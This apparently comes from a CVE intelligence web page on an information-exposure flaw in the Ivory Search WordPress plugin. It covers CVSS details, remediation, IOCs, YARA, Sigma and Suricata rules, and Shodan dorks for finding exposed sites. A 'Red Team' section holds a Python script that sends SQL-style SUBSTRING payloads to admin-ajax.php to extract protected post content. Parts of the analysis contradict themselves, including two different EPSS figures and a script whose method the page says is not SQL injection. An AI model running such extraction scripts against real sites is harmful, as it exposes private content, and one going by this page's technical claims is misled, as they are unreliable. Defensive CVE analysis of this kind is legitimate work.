☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-6835

CVE-2024-6835 Supply Chain Attack in Ivory search
📅 PUBLISHED: 2024-09-05 06:41 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.92%
👁️
0.92% probability
23.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1595
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-6835 is an information exposure vulnerability in the Ivory Search – WordPress Search Plugin (versions up to and including 5.5.6). The flaw resides in the ajax_load_posts function, which allows unauthenticated attackers to perform boolean-based extraction of text data from password-protected posts via the AJAX search form. This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should monitor the plugin’s update channel for a patched version. As a supply chain risk, any site using this plugin is exposed until a fix is applied.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (partial disclosure of password-protected post content)
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Medium. The vulnerability allows extraction of sensitive text data from password-protected posts, but does not enable code execution or data modification.

Deep Dive & Mechanics

The vulnerability exists in the ajax_load_posts function of the Ivory Search plugin. This function handles AJAX requests for search results. Due to insufficient access control, it does not verify whether the user has permission to view password-protected posts. An attacker can craft a series of boolean-based queries (e.g., using OR conditions) to infer the content of protected posts character by character. The search results (or lack thereof) reveal whether a guessed character is correct, enabling data extraction without authentication.

Root Cause: The ajax_load_posts function fails to check the post_password meta or apply post_password_required() before returning search results. This allows unauthenticated users to query password-protected posts.

Attack Flow:

  1. Attacker identifies a WordPress site using Ivory Search plugin version <= 5.5.6.
  2. Attacker sends AJAX requests to the search endpoint with crafted boolean conditions (e.g., s=password&post_type=post).
  3. By observing the presence or absence of results, the attacker extracts the content of password-protected posts.

Vulnerable vs. Patched Code

Vulnerable Code (ajax_load_posts function in Ivory Search <= 5.5.6):

function ajax_load_posts() {
    $search_query = sanitize_text_field($_POST['s']);
    $args = array(
        's' => $search_query,
        'post_type' => 'post',
        'post_status' => 'publish',
        'posts_per_page' => 10,
    );
    $query = new WP_Query($args);
    // No check for password-protected posts
    while ($query->have_posts()) {
        $query->the_post();
        // Output post data
    }
    wp_die();
}

Patched Code (Hypothetical fix):

function ajax_load_posts() {
    $search_query = sanitize_text_field($_POST['s']);
    $args = array(
        's' => $search_query,
        'post_type' => 'post',
        'post_status' => 'publish',
        'posts_per_page' => 10,
        'has_password' => false, // Exclude password-protected posts
    );
    $query = new WP_Query($args);
    while ($query->have_posts()) {
        $query->the_post();
        // Output post data
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Ivory Search plugin version <= 5.5.6.
  • At least one password-protected post.

Exploitation Steps:

  1. Identify the AJAX endpoint (typically /wp-admin/admin-ajax.php).
  2. Use a tool like Burp Suite or a custom script to send boolean-based queries.

Example Python script for character extraction:

import requests
import string

target = "http://target-site.com/wp-admin/admin-ajax.php"
charset = string.printable

def test_char(post_id, position, char):
    data = {
        'action': 'ajax_load_posts',
        's': f'1=1 AND SUBSTRING((SELECT post_content FROM wp_posts WHERE ID={post_id}),{position},1)=\'{char}\''
    }
    r = requests.post(target, data=data)
    return 'post' in r.text

# Example: extract first 10 characters of post ID 1
extracted = ""
for pos in range(1, 11):
    for c in charset:
        if test_char(1, pos, c):
            extracted += c
            break
print(f"Extracted: {extracted}")

Note: This is a boolean-based blind SQL injection-like technique, but the actual vulnerability is in the search logic, not SQL injection.

Blue Team (Detection & Defense)

Detection:

  • Monitor AJAX requests to admin-ajax.php with action ajax_load_posts and unusual s parameters containing SQL-like syntax (e.g., SUBSTRING, 1=1).
  • Look for repeated requests with varying s values from the same IP.

Defense:

  • Disable the Ivory Search plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block requests with suspicious patterns in the s parameter.
  • Restrict access to admin-ajax.php for unauthenticated users if possible.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /wp-admin/admin-ajax.php with action=ajax_load_posts and s parameter containing boolean logic (e.g., 1=1, SUBSTRING).
    • Repeated requests from the same IP address with incremental changes in the s parameter.
  • File IOCs:

    • Plugin file: /wp-content/plugins/ivory-search/includes/class-ajax.php (vulnerable version).
  • Log IOCs:

    • Web server logs showing multiple admin-ajax.php requests with action=ajax_load_posts from a single IP.

Detection Engineering

YARA Rule

rule CVE_2024_6835_Ivory_Search_Info_Exposure {
    meta:
        description = "Detects Ivory Search plugin files vulnerable to CVE-2024-6835"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6835"
    strings:
        $vuln_func = "ajax_load_posts" nocase
        $no_password_check = "post_password" nocase
    condition:
        $vuln_func and not $no_password_check
}

Sigma Rule

title: CVE-2024-6835 Ivory Search Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects boolean-based extraction attempts against Ivory Search plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=ajax_load_posts'
        cs-uri-query|contains|all:
            - 's='
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate search queries with '1=1' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6835 Ivory Search Boolean Extraction Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ajax_load_posts"; http_client_body; content:"s="; http_client_body; pcre:"/1=1|SUBSTRING|ASCII/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Ivory Search plugin until a patched version is released.
  2. Implement a WAF rule to block requests with boolean-based patterns in the s parameter.
  3. Restrict access to admin-ajax.php for unauthenticated users if site functionality allows.

Long-term Fix:

  • Monitor the plugin’s update channel for a patched version (e.g., 5.5.7 or later).
  • Apply the patch as soon as it becomes available.
  • Consider replacing the plugin with an alternative that has better security practices.

Workaround:

  • Add a custom filter to exclude password-protected posts from search results:
add_filter('posts_where', 'exclude_password_protected_posts');
function exclude_password_protected_posts($where) {
    $where .= " AND post_password = ''";
    return $where;
}

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ivory Search"
http.html:"ivory-search"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-6835/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.